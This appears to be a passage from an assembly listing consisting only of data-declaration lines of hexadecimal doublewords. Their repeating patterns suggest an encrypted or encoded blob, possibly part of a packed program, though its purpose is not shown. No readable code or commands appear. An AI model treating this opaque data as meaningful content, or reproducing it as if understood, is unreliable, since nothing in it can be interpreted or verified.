		dd 4234067Fh, 0A75209D7h, 6AB373ACh, 25538CD6h,	0E403E557h
		dd 0BCC7E557h, 8832018Fh, 0C7AF5A66h, 2EAE0B41h, 0BCB80504h
		dd 518776D1h, 172D76E7h, 768C439Dh, 1036395Bh, 40334B96h
		dd 680F414Bh, 16CDED62h, 0D5B14B42h, 5FB97562h,	5F4AAB37h
		dd 436D02A8h, 0B47A8E5h, 87331375h, 4432C0E2h, 3AB21A66h
		dd 0F8321566h, 88321575h, 0D75EFBB0h, 90932FC9h, 340AB932h
		dd 99AA97BEh, 7F0C0A3Eh, 312378EBh, 0BAB61A60h,	0E8321566h
		dd 0CE06C3E6h, 0AF097480h, 172105B7h, 88AA9169h, 24521566h
		dd 99547406h, 775386DDh, 66C1DEE7h, 8DBF2E07h, 2D340661h
		dd 113268E2h, 8839FC66h, 5FE1566h, 46A45991h, 6F274908h
		dd 0A4AF98E3h, 4B340F89h, 22321FE3h, 1137FC66h,	584A1566h
		dd 0BB0D795Ch, 2FDA75B5h, 0B2321566h, 5F86AB7Bh, 76279DF3h
		dd 99197A94h, 0C004AD00h, 3627438h, 80B1315Ah, 29B31A62h
		dd 71321566h, 87CCAA69h, 443215EEh, 0A7BB7466h,	17211597h
		dd 8832108Fh, 91012966h, 41DB7883h, 71321546h, 0E4FAD06h
		dd 96B33CD6h, 368842DFh, 8CBF7407h, 8E28FA4Ah, 0C5C4A406h
		dd 981A5ADh, 0C2CD7478h, 30544606h, 226A7DF5h, 0C0A9C3E7h
		dd 648F9607h, 8834067Ch, 44669169h, 42521566h, 6A66CCE7h
		dd 0E9531412h, 6FA7905Dh, 0A63D1375h, 11321554h, 88321C8Fh
		dd 0EDF5266h, 0A2215027h, 9409E388h, 8E213ECFh,	44169069h
		dd 42521566h, 1132108Eh, 0EE4F7966h, 2268A740h,	432D85DEh
		dd 0EA8D1A31h, 92DB743Fh, 4BCDEA99h, 223214EFh,	9409E066h
		dd 8E213BD3h, 44649069h, 28DB1566h, 5C321566h, 0BEC73365h
		dd 6E6A831Eh, 1F8F967Ch, 11340671h, 88129169h, 0C03D1566h
		dd 2232156Ah, 11349169h, 3D1566h, 44321566h, 12DFA8E5h
		dd 1E321375h, 88320EE2h, 0C1BFE066h, 242866FAh,	11321C8Fh
		dd 7A111866h, 76A97970h, 90DB352Eh, 0E9CDEA98h,	0A687905Dh
		dd 0C03D1375h, 0DDCDEBC3h, 0FC8F969Ah, 89340FF5h, 447A9069h
		dd 2EDB1566h, 97321566h, 0F139849Dh, 3366AE04h,	1955F9FEh
		dd 0BA634E3h, 0A3B71A60h, 4B321566h, 223212E1h,	0C8A7566h
		dd 0E9031042h, 4FD690EBh, 0CBCB153Fh, 0EECDEBF4h, 8832188Fh
		dd 59523166h, 934D5B4Bh, 8F1E867Dh, 7703A8AFh, 44339969h
		dd 0A1CE1566h, 235F0DBh, 0C3D1560h, 443205A5h, 22321B8Fh
		dd 2ED1BE66h, 0F44762E1h, 0C3F9D4FFh, 191F3A15h, 0BA618E3h
		dd 0A3B71A60h, 24321566h, 2238FC06h, 0CF621566h, 6D0395DAh
		dd 97130AA7h, 22329F69h, 70531566h, 0D9B79E9Ah,	0B1340668h
		dd 2233AF34h, 0C6331566h, 0D09E93Ch, 42288173h,	220D9069h
		dd 1DB1566h, 0FF321566h, 21F0DBDFh, 0F066ADC5h,	0BB9D565Bh
		dd 317A630h, 571E0CE3h,	23BE1A60h, 0E8321566h, 883B790Eh
		dd 600E9C66h, 7D161199h, 11399169h, 8EDB1566h, 7B321566h
		dd 0E9371423h, 0B72EFDh, 87340FF2h, 443246E3h, 0CB527566h
		dd 1132156Bh, 2174EFDAh, 7658EEA7h, 0BE6B687h, 0DCDABE0h
		dd 37530187h, 14B48257h, 0A3B79E07h, 1E340671h,	88321CE3h
		dd 0FB547566h, 0D3B20136h, 16DB74C3h, 74321566h, 1E1C5789h
		dd 27A5804Bh, 11321567h, 8834FCF1h, 0F7841566h,	0F0C8063h
		dd 852B905Dh, 0D3D137Ch, 4432154Ah, 0A953ED06h,	234C8E3h
		dd 89B51A60h, 0B8321566h, 2233AD36h, 0D6331566h, 883CFC3Eh
		dd 8C581566h, 0C232BBFDh, 79F41F0Eh, 0E49F6406h, 0D02F905Dh
		dd 0A73D137Ch, 1132155Fh, 1DB79E9Eh, 2434067Fh,	223FFD9Fh
		dd 2A541566h, 7E88619Dh, 8C386Bh, 0CA18EB64h, 11321561h
		dd 31BF2612h, 1B795E02h, 0DD657438h, 2DB93162h,	8CF69642h
		dd 0F87EC06h, 3B72E07h,	1E340FF2h, 88322AE3h, 0C1B9E066h
		dd 24213CCFh, 11359669h, 0D3D1566h, 44321567h, 0DD8A459Ah
		dd 38CDEA99h, 73D4DA1h,	4432157Ah, 22249369h, 0DB1566h
		dd 0F2321566h, 923443D1h, 0ACD30230h, 0E98267C4h, 0FDDD90D4h
		dd 0D017905Dh, 0A73D137Ch, 11321544h, 8832138Fh, 5B7C1866h
		dd 0A9BD47F2h, 22400E3h, 89B91A60h, 0B8321566h,	2233A833h
		dd 0FE331566h, 0D09E03Bh, 4228814Fh, 220E9069h,	0F9521566h
		dd 8832156Fh, 7585AE45h, 3A89774h, 706BECA6h, 0A4A390EDh
		dd 4B521375h, 7353D3D9h, 113214DFh, 0D1FD1466h,	44229F69h
		dd 29DB1566h, 0B6321566h, 0C720F8Eh, 0D87725D1h, 0A7093F3Bh
		dd 1728814Bh, 880F9069h, 4BCB1566h, 223214E9h, 94B9EC66h
		dd 8E2105EBh, 4432058Fh, 0A2892B66h, 83518BE0h,	89A6B1DDh
		dd 0ED7B40A0h, 9860EC94h, 11321567h, 6168C267h,	4432156Dh
		dd 735A78E2h, 0D0FB3FB7h, 0B310D67Dh, 5EA624E3h, 1B71A60h
		dd 0F8321566h, 8832156Bh, 0F02CDA3Ah, 4E495C91h, 0A59C12E8h
		dd 0E9B79E21h, 0B134064Eh, 0DDCDAF34h, 0C61BEA99h, 0D09ED3Ch
		dd 4228815Fh, 221F9069h, 9A521566h, 0D06175A5h,	13A9F2E7h
		dd 43536A26h, 207F90EDh, 8521375h, 24529B8Ah, 22B31A07h
		dd 70321566h, 778F4007h, 6DCDEA99h, 19CA4889h, 0BA620E3h
		dd 0E4B71A60h, 4B321566h, 223206EEh, 0D6B97566h, 88321C8Eh
		dd 5D1AA366h, 8E86A84Dh, 706CCC7Eh, 9F4BA8E5h, 4B321375h
		dd 223253E3h, 0FBB1A66h, 0E8321566h, 44329A69h,	32DA1566h
		dd 0D6321566h, 49C509FEh, 328335DFh, 60CEF22h, 4B9FBB58h
		dd 59B79E07h, 0AD340647h, 2232156Ch, 309B7390h,	2D17FAD3h
		dd 8C5A9873h, 0AB321553h, 15CD315Ah, 0BC74A42h,	5729C4DBh
		dd 0A63D1560h, 1132150Dh, 88B31A06h, 24321566h,	22329D69h
		dd 70531566h, 1CF3905Dh, 0C13D137Ch, 22321529h,	11399869h
		dd 8EDB1566h, 0AE321566h, 0E9128609h, 4CB79ED2h, 7134066Ch
		dd 42BF1A06h, 2D321566h, 113215E7h, 0A48B7366h,	0FC62748Dh
		dd 42D77A70h, 1437F5A7h
		dd 6B600827h, 0AD6AD267h, 22321569h, 8656D000h,	213117Ah
		dd 4620A4E2h, 0A13468AAh, 22D08DBh, 0C3D1560h, 44321499h
		dd 2232128Fh, 0DB892D66h, 2BBC85FBh, 44BBA8E5h,	2D321375h
		dd 1133F3E2h, 8838FC66h, 442F1566h, 850B84DFh, 3C6C54B3h
		dd 1C97905Dh, 0C13D137Ch, 22321552h, 113A9169h,	74521566h
		dd 2118FCDFh, 0A7B9743Dh, 17210B13h, 88219E69h,	4ADB1566h
		dd 77321566h, 0E3683064h, 5DCA0CA1h, 0B56EFF3Ah, 26B14225h
		dd 0ED6D1442h, 1C87905Dh, 0C13D137Ch, 2232155Eh, 4CB79E93h
		dd 0E8340679h, 44321D8Fh, 0AE28C966h, 0D5EEB0B4h, 0E9E19E4Ch
		dd 2B9AE35h, 0C9B3183Bh, 1C6F53EAh, 6169CA4Fh, 4432156Ah
		dd 0BF4D8B9h, 28221256h, 157AA0B6h, 0D09B905Dh,	0A73D137Ch
		dd 1132155Eh, 15B79E9Ah, 0AD340666h, 22321575h,	0BD1D796Ch
		dd 9613C523h, 0FAB4B570h, 8AF94189h, 0F8AA17C0h, 8832156Ch
		dd 0A10AF93Dh, 4D983B74h, 0A8634DB5h, 88321567h, 0B16BDA67h
		dd 0B68B905Dh, 943D137Ch, 88321526h, 42B11A06h,	0A3321566h
		dd 4B9F6891h, 883CFC33h, 20151566h, 40616D8Fh, 42BE44BBh
		dd 0FE3D7F30h, 9DB37507h, 448B482Bh, 7043DBE6h,	847B90EDh
		dd 13CB1375h, 60684A34h, 7752C2E1h, 0E91B07DEh,	0D08F905Dh
		dd 0A73D137Ch, 1132155Eh, 883E9869h, 0C73D1566h, 22321560h
		dd 11329269h, 0DB91566h, 4221369Fh, 0AA3D4506h,	11321566h
		dd 0AD65AA38h, 115321A2h, 0DDCDEADBh, 4CDD3C99h, 88309669h
		dd 25521566h, 0B69F905Dh, 943D137Ch, 88321554h,	0ADB79E93h
		dd 2D34067Bh, 113212E2h, 89B81A66h, 0B1321566h,	0DDCDAC37h
		dd 0DE1BEA99h, 0CB80753Fh, 4432198Fh, 1C9B7866h, 5B3E11BFh
		dd 4DA2CF8Ch, 0C1097488h, 242881D7h, 11079069h,	3C71566h
		dd 573DD8E3h, 28BF1A60h, 0F8321566h, 88321563h,	0CFD5D577h
		dd 0DD8F4032h, 38CDEA99h, 0F3D4889h, 44321568h,	22321C8Fh
		dd 5966EB66h, 0D8ACF64h, 0C7CE6BDBh, 31329CDBh,	953D1560h
		dd 88321FB1h, 442B9669h, 0CB521566h, 11321569h,	0B2D31EDFh
		dd 720CE985h, 0B3F490D5h, 776BBF4Eh, 0B353CDEDh, 5EA628E3h
		dd 13B71A60h, 0E8321566h, 7DB79E9Fh, 0AD340644h, 2232156Dh
		dd 9635B8FCh, 6D2DF029h, 12A09A49h, 0DDCDEAD8h,	4FC53C99h
		dd 88321E8Fh, 94C76566h, 16427A97h, 9C519A00h, 1CE3905Dh
		dd 0C13D137Ch, 22321500h, 0C4837506h, 3537406h,	0C1B974A1h
		dd 2421142Bh, 113E9A69h, 8FDB1566h, 0A3321566h,	1F208F7Bh
		dd 0AA61C365h, 85A10486h, 0A7F3C691h, 0A3E9E261h, 0E32ED88Dh
		dd 0C4F19476h, 6D757C4Ah, 0AB3D4EB9h, 1132156Ah, 88349869h
		dd 0C03D1566h, 22321566h, 1132048Fh, 25330866h,	11531B5Ah
		dd 95CC4C2Ch, 4B49BA9Ch, 0D09910Eh, 42288127h, 227B9069h
		dd 77521566h, 1D1EC6E7h, 44379369h, 0A3541566h,	70697885h
		dd 9B4F90EDh, 49DB1375h, 0E5321566h, 0EEE1F1F9h, 865121Bh
		dd 2A37F764h, 0DDCDAB30h, 0E61BEA99h, 8823FC38h, 0EB51566h
		dd 88494A75h, 2F91D6CCh, 0B31BE675h, 7F75A802h,	38A650E3h
		dd 51B71A60h, 61321566h, 44321574h, 0BDB3A8C0h,	4D11E258h
		dd 0C718B2DEh, 0AAEBADA8h, 0A7B92F0Bh, 1721008Bh, 88321D8Fh
		dd 0F12A8D66h, 112625E6h, 0EE8946CBh, 0A1CDEA99h, 0C13D4EB9h
		dd 22321561h, 0C8B97306h, 0B353C1ECh, 5EA65CE3h, 13B71A60h
		dd 0ED321566h, 0AD8B90EDh, 0CF521375h, 20B01A9Eh, 47321566h
		dd 67B5743Fh, 0BBCDF8E7h, 0CDB5EA99h, 90547593h, 87202A84h
		dd 443213E7h, 0D6E59466h, 7059B2DBh, 1C7F905Dh,	0C13D137Ch
		dd 223215ECh, 11279E69h, 87521566h, 443215EEh, 2235FD66h
		dd 2FED1566h, 0F648F851h, 4B534DFAh, 223214E8h,	0ACB1E966h
		dd 8E21021Fh, 1FB71A66h, 2D321566h, 113219E0h, 8EB81A66h
		dd 4B321566h, 223215ECh, 28B79E66h, 6134066Bh, 4432156Eh
		dd 0B55F18D0h, 47C65309h, 883A9469h, 0CA3D1566h, 22321564h
		dd 0AF647406h, 77CDEA99h, 4B6CE24Fh, 22320CECh,	1126FC66h
		dd 3AB81566h, 3A4ADB69h, 0EDB47694h, 65D6777Eh,	0CCAA73Bh
		dd 0C109E149h, 24288137h, 11649069h, 61CB1566h,	44321577h
		dd 6EE9087h, 0A83B3992h, 7845097Eh, 95A11B38h, 67B79EF2h
		dd 7134064Ah, 88319C69h, 0F33D1566h, 43C19EB8h,	1133AF34h
		dd 5F331566h, 4B52EC3Ch, 0CA52CED9h, 11321576h,	0C7831E0Fh
		dd 506E8A89h, 80E653A9h, 0A8F9C696h, 0A123AA38h, 255314A7h
		dd 0B667905Dh, 943D137Ch, 88321538h, 443E9469h,	0AF3D1566h
		dd 11321560h, 88329669h, 0C7CA1566h, 31256CDBh,	943D1560h
		dd 88321558h, 443F9D69h, 0A3521566h, 15D88481h,	48B37346h
		dd 0CF5382DEh, 3132A4E3h, 0AA61ED60h, 88321567h, 4B69CA67h
		dd 223200E2h, 1122FC66h, 31021566h, 61BD4D87h, 29B40263h
		dd 0F1A5092h, 0D097FB9h, 4228813Fh, 22039069h, 9AC71566h
		dd 9B16C4E3h, 4CBF1A60h, 42321566h, 0A954B3D6h,	0DE531D81h
		dd 0BBCDEAD8h, 7CC53C99h, 113F9169h, 80DB1566h,	14321566h
		dd 8B4DE36Ah, 2A9F397Eh, 92A648E3h, 32B71A60h, 2D321566h
		dd 11320DE2h, 9AB51A66h, 0AD321566h, 2232156Bh,	0F1FB3E33h
		dd 89CB2C3Dh, 0B7FB8917h, 0D3B79E19h, 1E34067Ah, 883212EBh
		dd 0F33D7566h, 43F9A3A8h, 111B9C69h, 60521566h,	4432156Fh
		dd 5973FDB2h, 8FA77042h, 9BDB4A96h, 0C1321566h,	0F2E9BB5h
		dd 1CACDD91h, 9F6A8CA3h, 57764005h, 1353E6F7h, 20CB24A9h
		dd 47B554A9h, 44359A69h, 0AE3D1566h, 11321567h,	0EDB72E9Fh
		dd 4B340FF2h, 22324CE3h, 0ACB1E966h, 8E21021Fh,	0FB71A66h
		dd 0DE321566h, 352F90EDh, 0B3D1375h, 4432157Ch,	22269E69h
		dd 1EDB1566h, 1E321566h, 1C17AD9Ch, 0E37686B5h,	39587C2Eh
		dd 35673ABBh, 0BBCDEA99h, 426FFA4Fh, 113CFC06h,	0ADD61566h
		dd 0C078FBAAh, 0C708EE97h, 97B3A77Ah, 353E0ECh,	0C10974A8h
		dd 24288107h, 11569069h, 0EE521566h, 2575E4E7h,	2232078Eh
		dd 47C95866h, 79C14E44h, 6C0D0B6Eh, 4CA0693Eh, 9025E224h
		dd 0CA8A06ACh, 0C7534B53h, 31256CDBh, 943D1560h, 88321554h
		dd 1B79E93h, 0CB340671h, 1132156Ah, 54F345A8h, 0D910EDA6h
		dd 0AEE82BDEh, 0EECDAB30h, 7F1BEA99h, 443EFC38h, 503B1566h
		dd 0C2EFD183h, 0A18D52A0h, 0C1092A69h, 2428810Fh, 116F9069h
		dd 85DB1566h, 0C7321566h, 0BFB26D16h, 0D5FBF2B8h, 8B8ADDA7h
		dd 44389E69h, 44521566h, 0B0D7E3E7h, 0E98BD8E6h, 763B90EDh
		dd 2DDB1375h, 71321566h, 9848C245h, 0CC32D314h,	4D79BDF0h
		dd 0A962D24Ch, 88321567h, 0AD6AD267h, 22321575h, 9F0C91BFh
		dd 0C6EE3287h, 3897A73Eh, 0B0374B4Fh, 2A4C291Bh, 92A678E3h
		dd 7AB71A60h, 42321566h, 0A63D4F30h, 0DB974AEh,	422137E3h
		dd 2232078Fh, 3B7EFE66h, 0EB3AA9C0h, 0C0680A32h, 0BFEA4367h
		dd 472B6A40h, 77CDEAD8h, 1AC53C99h, 2232198Fh, 0A3291F66h
		dd 0B3938090h, 29CCDADAh, 53B72E2Ch, 1E340FF2h,	8832B7E3h
		dd 0CB3D7566h, 22321570h, 1132048Fh, 755FD666h,	0ECADCE29h
		dd 0D320136Ch, 0DDF2E5DFh, 0E8533BDDh, 4432138Fh, 0D5B17866h
		dd 0F8389428h, 88321574h, 742A3889h, 2304BFAh, 4AC35C6h
		dd 0D591AD8Eh, 0CF538AF1h, 313230E3h, 1120FC60h, 4F4A1566h
		dd 36ABCD9h, 9E81AAF7h,	9467FFE1h, 0C07BC76Eh, 4432078Fh
		dd 5DD53166h, 0DBE15476h
		dd 9A505363h, 2D4E70F3h, 74213910h, 113214D8h, 0D6C51466h
		dd 442F9369h, 0A53D1566h, 11321571h, 8832078Fh,	1200E466h
		dd 64D6B16Dh, 2C266F05h, 74E51083h, 7FD01234h, 38A660E3h
		dd 2EB71A60h, 0E8321566h, 24E1AA69h, 0A63DC6ECh, 11321566h
		dd 85DB7407h, 0DF321566h, 0D6723FD8h, 33DC211Eh, 2F10BF25h
		dd 6B9390EDh, 2BDB1375h, 0D3321566h, 0D7D38305h, 0B4189B1Fh
		dd 2233AB30h, 0E6331566h, 0D09ED38h, 4228811Fh,	22709069h
		dd 9AC71566h, 9B29D0E3h, 0C13D7560h, 22321560h,	11329469h
		dd 0E9CB1566h, 1374E2E1h, 2D6C4A30h, 11320AE8h,	0BB8A7566h
		dd 0AD29ED0Ch, 22321575h, 0DEDAF711h, 3A316CACh, 0D29E1F48h
		dd 84A728E2h, 70A46FB3h, 1C4F905Dh, 0C13D137Ch,	22321526h
		dd 0D3B97306h, 8832188Eh, 3CC0F066h, 42B9D674h,	95A2661Ch
		dd 3654F7E1h, 25689BB1h, 3F0790EDh, 77521375h, 954C5EDh
		dd 25597096h, 6369631h,	943D4A67h, 8832156Eh, 44309F69h
		dd 43521566h, 85B3905Dh, 0D3D137Ch, 44321524h, 0A7B9ED9Fh
		dd 17210273h, 8832018Fh, 0B0517D66h, 7FEBCC7Bh,	33B7223h
		dd 0AEBFDBACh, 0BF9F1349h, 0DD8B4490h, 38CDEA99h, 9BDB4CA9h
		dd 0F6321566h, 245FB7CDh, 0D2C22795h, 7A67CCC7h, 3345DC6Eh
		dd 0A7092283h, 172881E3h, 885A9069h, 0AC521566h, 22321577h
		dd 0DA885654h, 7015D840h, 0F08C08C5h, 37BA80B1h, 113DFD54h
		dd 63581566h, 22832545h, 0A31CDE44h, 0B1BC5A8Ch, 0E96D4EA8h
		dd 44379169h, 0A9521566h, 9A53E9BEh, 9B02ECE3h,	0CF547560h
		dd 0AEF594A8h, 707420F1h, 77CDAC37h, 8B1BEA99h,	2DBA1A3Fh
		dd 0F8321566h, 8832156Ch, 0F9EBEC47h, 5F98310Ch, 94096E22h
		dd 8E211B07h, 44099069h, 33DB1566h, 45321566h, 3805B70h
		dd 0E0068B57h, 0D2C88B59h, 8FA423FDh, 833F90EDh, 42DB1375h
		dd 6B321566h, 0E3864E0Bh, 778C43F7h, 6DCDEA99h,	24DB4B91h
		dd 321566h, 0CB2A7351h,	0CDB72EFEh, 2D340FF2h, 11322DE3h
		dd 8838FC66h, 0D29B1566h, 7AB4C7B9h, 0B0ED2E1Ch, 93DF90EDh
		dd 0CE521375h, 99617496h, 11321567h, 6169CA67h,	44321577h
		dd 55E83E16h, 0FCCA1428h, 2442E223h, 5A743CF2h,	0E7B72E8Bh
		dd 1E340FF2h, 88327BE3h, 4420FC66h, 0B5CD1566h,	4D4B6877h
		dd 61E456C8h, 7B6AA44Ch, 32E02CC4h, 0DC8F969Ah,	88340FF2h
		dd 443D9069h, 0A1C71566h, 22860DBh, 0C3D1560h, 4432155Dh
		dd 8BB79E9Eh, 1E340644h, 88321AEBh, 41DB7566h, 6E321566h
		dd 54A48ACFh, 0E9B7DBE6h, 4433AC37h, 0ED331566h, 1123FC3Fh
		dd 4D5D1566h, 0FD813F45h, 6AD39CF4h, 0F895986Fh, 0B37793AFh
		dd 5EA6DCE3h, 0B2B71A60h, 0E8321566h, 1CFFA8E5h, 4B32137Ch
		dd 22325EE3h, 8B91A66h,	61321566h, 44321572h, 3F0E5F10h
		dd 0D9473E77h, 5A9AA28Ah, 0D093D14Fh, 36D3082Ah, 0B47A8E5h
		dd 87321375h, 443243E2h, 99547566h, 776557B6h, 0E96DCAEDh
		dd 44321A8Fh, 116B9C66h, 58883CA6h, 32951D06h, 39E47A41h
		dd 387F90EDh, 77521375h, 0E960B7D9h, 0BBCDA833h, 0CD1BEA99h
		dd 0DFB9753Bh, 88321E8Eh, 0D3D55966h, 0EAF829EFh, 9F25881Dh
		dd 8832128Eh, 46856366h, 6F1A6FD9h, 2A534A3Fh, 92A698E3h
		dd 7CB71A60h, 0DB321566h, 1C2B90EDh, 86DB1375h,	0C8321566h
		dd 0C7B5888Dh, 0C5D6D7A1h, 0E3837ADEh, 458C4314h, 23321566h
		dd 9B3D4B91h, 88321560h, 0CE31A506h, 0A8527497h, 0FBB373B2h
		dd 0B353F9B7h, 5EA684E3h, 4B71A60h, 0E8321566h,	0A3CF90EDh
		dd 0C33D1375h, 22321569h, 11321F8Fh, 0D9C76666h, 844D02B2h
		dd 73E1E0E3h, 0EECDEADFh, 0D1FD3C99h, 0D1B72E9Eh, 2D340FF2h
		dd 11325DE3h, 3547566h,	2543A298h, 6D790EDh, 16DB1375h
		dd 14321566h, 4039E326h, 98601880h, 1ED70C6Fh, 4AB3CF91h
		dd 9C5101h, 47FFFFE7h, 0E3B34B05h, 5E57D0F6h, 4B68C267h
		dd 223219E6h, 17B11A66h, 87321566h, 443215EAh, 0BBB72E66h
		dd 1E340FF2h, 883205E3h, 0C1B9EC66h, 24211BC7h,	4E604293h
		dd 5FB5573Ch, 0D9B72E93h, 2D340FF2h, 113252E3h,	8823FC66h
		dd 70D21566h, 0EB2AA9F0h, 9DD98801h, 5DE5E12Bh,	0AD5384D7h
		dd 22321572h, 0A06D3C49h, 0B731211Dh, 0E06B0581h, 0C93E46A4h
		dd 40D5A37Bh, 0AC0F90EDh, 0CF3D1375h, 22321567h, 0EE894693h
		dd 0A1CDEA99h, 25524EB9h, 0B693905Dh, 943D137Ch, 88321521h
		dd 44209F69h, 2FDB1566h, 49321566h, 4CEAA27Ah, 123EA540h
		dd 0D0432A5Bh, 33C790EDh, 73D1375h, 44321563h, 0D1B97306h
		dd 933D7507h, 88321563h, 0AFE39400h, 9C64740Dh,	11321567h
		dd 716CE267h, 44339D69h, 29CE1566h, 5B61A99h, 87321566h
		dd 44321DECh, 20B81A66h, 71321566h, 65BEFC07h, 7FCEEA99h
		dd 311224E3h, 34B71A60h, 0E8321566h, 0C7F8959Eh, 43CB7507h
		dd 6DA90EBh, 53D137Ch, 44321567h, 41DBEC93h, 71CDEA8Bh
		dd 1188D7EDh, 2511F82Bh, 9EB905Dh, 943D1375h, 88321525h
		dd 4BA0A406h, 0A153EBD9h, 0BA1F8DBh, 0D3D1460h,	44321549h
		dd 2238FC9Ah, 0FCAE1566h, 3AB60867h, 1F64D75Fh,	295590EBh
		dd 1FDB153Fh, 76321566h, 14E7431h, 533B6106h, 0D5D1D772h
		dd 653EFCA5h, 7FCEEA99h, 38A1E8E3h, 7B61A60h, 0E8321566h
		dd 2854AA00h, 43E8AA69h, 8533905Dh, 0D3D137Ch, 4432156Bh
		dd 0CED6FC9Ah, 9D3DEA99h, 88321567h, 40DE9493h,	0AB321566h
		dd 118F314Ah, 1321566h,	0C63D4888h, 22321567h, 10CC969Fh
		dd 89339069h, 7FCB1566h, 38A1E4E3h, 5FB71A60h, 61321566h
		dd 44321569h, 0FB4F4F9h, 0DB97ED6Fh, 0E976A621h, 4BC0ABD5h
		dd 22321DE1h, 13B81A66h, 0E8321566h, 80B79807h,	0CB324DE1h
		dd 1132156Dh, 0A5ECF69Ah, 0EB8FA937h, 0DB20D1E2h, 0EEDE648Fh
		dd 82B31A99h, 24321566h, 3236CBE7h, 7052690Eh, 7DB72E07h
		dd 4B340FF5h, 223256E3h, 0F952EC66h, 88321561h,	0E43C781Ch
		dd 0DED8C128h, 0CE8D1A3Ch, 0B2B79807h, 4B324DEEh, 223214ECh
		dd 0ED52ED66h, 641EFC07h, 0ADC7EA99h, 22321572h, 372E8CE7h
		dd 450C20FEh, 882201C9h, 26531A0Dh, 0B9725B32h,	1BCB905Dh
		dd 0C13D137Ch, 2232152Dh, 11339969h, 70CE1566h,	0CC4D90EBh
		dd 4452153Eh, 3179DEE7h, 8832108Eh, 0C610B266h,	33DB7D6Ch
		dd 0D0321566h, 0BA0B57F6h, 45B5ACC8h, 360B9991h, 6B4C25ACh
		dd 43DB7438h, 24CDEA8Dh, 22309969h, 4A621566h, 70DEDBE7h
		dd 14530D48h, 6F1639E7h, 9A5E3C56h, 4CB33162h, 44321562h
		dd 0B025863h, 4B21A0Ah,	87321566h, 44321AE9h, 2238FC66h
		dd 80D61566h, 910A55D8h, 4754953Dh, 0C2B37306h,	7752A35Fh
		dd 0E953D6EDh, 7B5DAA31h, 0E5B34FFDh, 210F4B2Fh, 3664FAB7h
		dd 24C2288Ch, 0A36CE247h, 8EC12FA1h, 0D7CC9CD9h, 442E9269h
		dd 2D521566h, 0DAE3D1h,	6F321566h, 3BCE2741h, 0CDD7CA79h
		dd 56766CB3h, 0F11C863Bh, 0B239743Fh, 22119069h, 9C3D1566h
		dd 8832156Bh, 44321D8Fh, 0E6649066h, 0E88D0272h, 62D9FC39h
		dd 42DBEA99h, 4321566h,	813917ADh, 0BCB9454Ah, 40F69442h
		dd 0CB321566h, 11321568h, 68DA3859h, 0C6AD60E6h, 0BC917603h
		dd 0A4BB1C90h, 8E2134C3h, 6E8A4706h, 787A5463h,	11319B69h
		dd 67B21566h, 0F1BB743Ch, 24212463h, 0D9B97306h, 8832018Fh
		dd 0BD44C966h, 1FCF2E76h, 989DADF2h, 56365642h,	0C7B901EEh
		dd 1CB27493h, 0FFB71A8Fh
		dd 87321566h, 44321DE7h, 20BD1A66h, 71321566h, 8944EA07h
		dd 0E41639E7h, 7D0A8A2Fh, 6AAAAC37h, 97B2C04h, 0E725E87h
		dd 0BFF39455h, 1035486Fh, 33524CA9h, 2572B1D2h,	22321A8Fh
		dd 21931D66h, 0D96F98E9h, 6B6A946Ah, 3A703C1Eh,	3DD9407h
		dd 90B382Bh, 0D56FB089h, 0A3C51479h, 806FB0A1h,	9AF59479h
		dd 0AD0B382Bh, 22321574h, 3DDEBAB3h, 0B02275A7h, 74A0E32Fh
		dd 0DD9CF5F0h, 4763EE88h, 761621E7h, 1D3CB65Ch,	18CCE4E7h
		dd 0DABB1BC5h, 3260E93Fh, 3D1021C1h, 7769F7E7h,	0E3B3421Ch
		dd 0D9104165h, 0A6D6E7h, 0F13378A9h, 55A6FEE7h,	876878A9h
		dd 443209E7h, 0E2887566h, 0F835AC32h, 88321576h, 86C647A5h
		dd 45163865h, 0A006A428h, 0F949C944h, 0E18F2E07h, 2D340647h
		dd 11321FE4h, 7309ED66h, 44359369h, 0CBC71566h,	0EECDFCF7h
		dd 7D8F9E9Fh, 24340678h, 222B9769h, 5DB1566h, 321566h
		dd 0FBAC7FA9h, 0CBF5380h, 7642CD35h, 0BF5C94ACh, 259F3F7Bh
		dd 383790A1h, 11321375h, 61521566h, 44321576h, 6D110D20h
		dd 0AD4D7647h, 2E4602B5h, 0B6B27230h, 2232138Fh, 0CBFDA66h
		dd 0E9678C9Eh, 1E617506h, 0AB53E2EDh, 20310D3h,	883EFC60h
		dd 25921566h, 0C3B87991h, 84116BEDh, 5C71ECAh, 5F2720FBh
		dd 0C8B37560h, 3BCA8376h, 88321B8Eh, 0EE7C0B66h, 0F53A369h
		dd 40ABF9CCh, 0D7E7BD96h, 0ADE1EA07h, 22321577h, 40B51C44h
		dd 7B7B6AB0h, 40694899h, 8263BC50h, 1EF21E4Dh, 88322BE2h
		dd 4423FC66h, 6E281566h, 8E86734Dh, 182100ADh, 10CA7782h
		dd 429943F4h, 11319369h, 373D1566h, 41B01A91h, 44321566h
		dd 443ECBE7h, 88A0FC07h, 4CDB1566h, 0CA321566h,	609825B0h
		dd 50CBA11h, 5CBF98FBh,	2222FC60h, 8F211566h, 26FB5400h
		dd 0F88DA1A0h, 4C0FEAF5h, 0C2CD91FDh, 77779669h, 4BDBEA99h
		dd 0C6321566h, 62A5540Ah, 5ED5B0D9h, 4BDA3723h,	97B9FF62h
		dd 17212463h, 8832108Fh, 65C83C66h, 0DB529C46h,	5A8D7306h
		dd 0E9E89EE5h, 41879C07h, 0CB34067Ch, 11321563h, 642DC3D7h
		dd 86AF98DAh, 0DE340CF1h, 0F852C699h, 88321575h, 1B403E8Eh
		dd 7958AFE6h, 8835DADDh, 21F12D0Ch, 250D47C2h, 39790EDh
		dd 71CA1375h, 8832138Eh, 785E6466h, 2DFC7F39h, 113215EAh
		dd 8B8D4C66h, 2518518Bh, 133790EFh, 0F9521375h,	88321574h
		dd 4AAB26A6h, 0EE4C3FB2h, 0E493927Fh, 0B55879B1h, 8EB3CB0Dh
		dd 14432CEEh, 30E19538h, 8EDB7407h, 5B321566h, 2D2AC717h
		dd 0F90C95D2h, 88E19069h, 55DB1566h, 10321566h,	78EB98B5h
		dd 192513AFh, 44B17DC9h, 0C2F134C9h, 11321A8Fh,	7867F266h
		dd 4F0BB80Ah, 0A676FD07h, 108F33DDh, 873FA8E5h,	4B321375h
		dd 223289E2h, 19B31A66h, 87321566h, 443217E0h, 4A537566h
		dd 11321290h, 3D1619EFh, 1DDA9D8Fh, 22339F69h, 0BBC71566h
		dd 0D01A7D9Ah, 48BB1566h, 0ABC39C42h, 1ADB4CAEh, 55321566h
		dd 0CC5D4CFBh, 9DAC7FA9h, 0B31F5380h, 0A1548338h, 0E689469Eh
		dd 23548338h, 1ECB4EBEh, 88321BEEh, 443BFC66h, 0DB491566h
